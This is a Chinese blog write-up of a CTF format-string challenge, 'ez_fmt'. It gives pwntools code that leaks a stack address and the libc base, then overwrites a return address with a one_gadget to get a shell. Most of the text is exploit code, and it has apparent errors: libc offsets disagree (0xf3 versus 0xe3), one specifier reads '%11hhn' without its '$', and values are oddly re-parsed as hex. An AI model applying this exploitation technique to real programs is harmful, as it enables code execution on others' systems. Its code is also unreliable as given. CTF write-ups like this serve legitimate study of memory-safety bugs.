格式化字符串漏洞,先利用格式化字符漏洞将printf返回地址改为main
然后通过将libc_start_main函数的地址写入并泄露来获取libc基地址:
通过测试,我们可以发现格式化字符串的偏移为6,然后以此为基点,往下数可以发现main函数的地址偏移为8
pythonpayload=b'%19$p'
payload+=b'%'+str(0x1205-6-8).encode()+b'c%10$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_printf_ret)
p.send(payload)
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0xf3-libc.sym['__libc_start_main']
得到基地址之后,我们可以得到ogg的地址,然后通过一次单子节和一次双字节的格式化字符串覆盖返回地址,即可。
注意这里因为其实是两次写,所以为防止第二次写的数据覆盖了第一次写的内容,我们需要对地址加2,来解决。
然后计算one_gadget,通过格式化字符串修改,然后在获取
pythonp.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-0xe3-libc.sym['__libc_start_main']
one=libc_base+one_gadgets
one1=one&0xffff
one2=(one>>16)&0xffff
pythonfrom pwn import*
context(arch = 'amd64',os = 'linux')
context.terminal = ['tmux','splitw','-h']
p = process('./ez_fmt')
elf = ELF('./ez_fmt')
libc = ELF('./libc-2.31.so')
attach(p)
p.recvuntil(b'you 0x')
stack_addr = int(p.recv(12),16)
# 0x1205 = 4613
payload = b'%4613c%8$hn'+b'%19$p'+p64(stack_addr - 0x08)
payload = payload.ljust(0x20,b'a')
p.send(payload)
p.recvuntil(b'0x')
stack_libc_start_main = int(p.recv(12),16) - 243
libc_base = stack_libc_start_main - libc.sym['__libc_start_main']
print(hex(libc.sym['__libc_start_main']))
success('stack_addr ->' + hex(stack_addr))
success('libc_start_main ->' + hex(stack_libc_start_main))
success('libc_base ->' + hex(libc_base))
one_gadget = [0xe3cf3,0xe3cf6,0xe3cf9]
ogg1 = libc_base + one_gadget[1]
ogg2 = libc_base + one_gadget[0]
success('one_gadget1->' + hex(ogg1))
success('one_gadget2->' + hex(ogg2))
ogg1 = ogg1 & 0xffff
success('ogg1 ->' + hex(ogg1))
if(ogg2 >= ogg1):
ogg2 = (ogg2 >> 16) & 0xff
success('ogg2 ->' + hex(ogg2))
ogg1 = int(str(ogg1),16)
ogg2 = int(str(ogg2),16)
print(hex(ogg1))
print(hex(ogg2))
pause()
payload = b'%'+str(ogg1).encode() +b'c%10$hn'+b'%'+str(ogg2).encode() + b'c%11hhn'
payload = payload.ljust(0x20,b'a')
payload += p64(stack_addr+0x68)+p64(stack_addr+0x68+2)
p.sendline(payload)
p.interactive()
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!